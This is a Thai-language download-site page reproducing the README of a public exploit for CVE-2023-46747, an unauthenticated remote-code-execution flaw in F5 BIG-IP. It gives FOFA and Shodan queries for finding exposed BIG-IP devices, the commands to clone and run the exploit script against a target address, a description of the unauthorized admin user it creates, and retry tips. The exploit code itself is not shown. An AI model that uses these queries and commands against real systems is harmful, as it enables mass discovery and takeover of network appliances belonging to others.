หน้าแรก>การเขียนโปรแกรมที่เกี่ยวข้อง>ซอร์สโค้ดอื่น ๆ
ดาวน์โหลด

รายละเอียดช่องโหว่

โฟฟา： 

 (title="BIG-IP®" || icon_hash="-335242539")

โชดัน 

 title:"BIG-IP®"

เวอร์ชันที่ได้รับผลกระทบ

https://my.f5.com/manage/s/article/K000137353

การเกิดซ้ำของช่องโหว่

  1. ขณะนี้ผู้ใช้ที่นี่เป็นเพียง admin เท่านั้น: ภาพ

  2. ดำเนินการสคริปต์: 

 git clone https://github.com/W01fh4cker/CVE-2023-46747-RCE.git
cd CVE-2023-46747-RCE
pip install -r requirements.txt
python CVE-2023-46747-RCE.py -u https://192.168.161.190
# python CVE-2023-46747-RCE.py -u https://192.168.161.190 -p http://127.0.0.1:7890

ดำเนินการคำสั่งสำเร็จ:
ภาพ

  1. สร้างผู้ใช้ใหม่โดยไม่ได้รับอนุญาตสำเร็จแล้วที่นี่: ภาพ

ข้อบกพร่อง

การใช้ประโยชน์ล้มเหลวในบางเวอร์ชัน อ้างอิง: https://twitter.com/joel_land/status/1729147886615818732

ถาม & ตอบ

  1. ถาม: การรับโทเค็นล้มเหลว
    ตอบ: ไม่สามารถพูดได้ว่าไซต์ทดสอบจะต้องไม่มีช่องโหว่ เนื่องจากการสร้างผู้ใช้โดยไม่ได้รับอนุญาตไม่สำเร็จ 100% บางครั้งคุณไม่ได้สร้างผู้ใช้ในขั้นตอนแรกเนื่องด้วยสาเหตุบางประการ ดังนั้นจึงไม่สามารถรับโทเค็นในขั้นตอนที่สองได้ ดังนั้นข้อเสนอแนะของฉันคือลองอีกสองสามครั้ง หากไม่ได้ผลก็อาจหมายความว่าไม่มีช่องโหว่อย่างแน่นอน

การพูดนอกเรื่อง

คุณสามารถใช้สคริปต์นี้ https://github.com/BishopFox/bigip-scanner เพื่อรวบรวมข้อมูลเวอร์ชัน F5 BIG-IP มันเยี่ยมมาก!

อ้างอิง

projectdiscovery/นิวเคลียสเทมเพลต#8500
https://mp.weixin.qq.com/s/wUoBy7ZiqJL2CUOMC-8Wdg
https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747

ขยาย
ข้อมูลเพิ่มเติม
แอปที่เกี่ยวข้อง
แนะนำสำหรับคุณ
ข้อมูลที่เกี่ยวข้อง ทั้งหมด